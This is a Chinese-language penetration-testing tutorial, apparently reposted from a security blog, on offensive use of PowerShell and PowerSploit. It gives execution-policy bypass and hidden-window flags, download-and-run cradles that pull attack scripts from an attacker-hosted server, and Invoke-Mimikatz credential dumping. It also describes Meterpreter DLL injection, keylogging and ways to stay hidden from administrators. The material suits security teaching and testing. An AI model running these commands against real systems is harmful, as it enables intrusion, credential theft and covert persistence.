前言
Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的灵活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。
Powershell的优秀之处
1. 代码运行在内存中可以不去接触磁盘
2. 从另一个系统中下载代码并执行
3. 很多安全产品并不能监测到powershell的活动
4. cmd.exe通常被阻止运行,但是powershell不会。
各个Windows下powershell版本
Powershell运行选项
以下介绍了渗透测试过程中我们经常要使用到的powershell运行选项
1
2
|
-WindowsStyle Hidden 隐藏自己的窗口
-ExecutionPolicy Bypass 绕过策略
|
Powershell脚本默认情况下无法在cmd下或双击执行,这时我们就可以使用这个选项绕过。
PowerSploit
PowerSploit是GitHub上面的一个安全项目,上面有很多powershell攻击脚本,它们主要被用来渗透中的信息侦察、权限提升、权限维持。
项目地址:https://github.com/PowerShellMafia/PowerSploit
一、代码执行(CodeExecution)
1. Invoke-DllInjection
2. Invoke-ReflectivePEInjection
3. Invoke-Shellcode
4. Invoke-WmiCommand
二、脚本修改(ScriptModification)
1. Out-EncodedCommand
2. Out-CompressedDll
3. Out-EncryptedScript
4. Remove-Comments
三、权限维持(Persistence)
1. New-UserPersistenceOption
2. New-ElevatedPersistenceOption
3. Add-Persistence
4. Install-SSP
5. Get-SecurityPackages
四、绕过杀毒软件(AntivirusBypass)
Find-AVSignature
五、信息收集(Exfiltration)
这个文件夹主要是收集目标主机上的信息。
六、信息侦察(Recon)
这个文件夹主要是以目标主机为跳板进行内网主机侦察。
搭建PowerSploit脚本服务器
1. 下载PowerSploit到服务器
2. 启动Apache
3. 查看是否成功搭建
实战运用
由于篇幅问题,我们不可能针对每一个脚本都进行详细的介绍,所以这里我们来介绍一下实战中最常用到的脚本。
IEX远程下载脚本执行:
1
|
IEX(New-Object Net.WebClient).DownloadString(“脚本地址”)
|
获取Shell:
1. Invoke-DllInjection
将DLL文件注入到当前进程中
我们首先来生成一个DLL反弹马
在目标机上保存msf.dll到本地
我们下载Invoke-DllInjection脚本
运行一个隐藏进程并注入DLL反弹木马
可以看见Meterpreter会话成功建立了
2. Invoke-Shellcode
在当前进程中注入Shellcode
Powershell调用Windows API非常方便,所以也可以直接来执行Shellcode。PowerSploit也提供了一些Shellcode,看下图:
扩大成果-内网端口扫描
1. 我们先下载Invoke-Portscan
2. 结果
获取主机密码
为了不让管理员发现,我们不能再目标机上添加任何账户,这时候我们就需要来获取管理员密码来维持访问。这里我们就需要使用到脚本Invoke-Mimikatz,注意需要管理员权限。
1. 下载脚本
2. dump密码
1
|
Invoke-Mimikatz –DumpCreds
|
再来一个大杀器-键盘记录
这样它就进行键盘记录,不仅有键盘输入记录还有鼠标输入记录,而且还有很详细的时间,实战使用的时候,我们就要在放入后台运行。
漏洞探测-攻击进行时
下载脚本:
1
|
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1")
|
Invoke-AllChecks:输出可识别的漏洞
自学指南-Get Help
脚本很多,很难一一介绍,剩下就要自己来尝试了,但是网上基本上找不到使用教程,所以就需要来获取帮助信息,来帮助自己学习。
比如Invoke-DllInjection
下载脚本:
1
|
IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
|
获取帮助信息:
1
|
Get-Help Invoke-DllInjection
|
查看事例:
1
|
Get-Help Invoke-DllInjection -Examples
|
查看详细信息:
1
|
Get-Help Invoke-DllInjection –Detailed
|
结束语
Powershell实在是太强大了,可以说是内网渗透利器,继续深入研究,下一篇文章我们就不再是使用别人的脚本了,本篇文章的作用主要还是在于引导,大家还是要多用多练,才能在实践中灵活的运用。
原文地址:http://bobao.360.cn/learning/detail/3104.html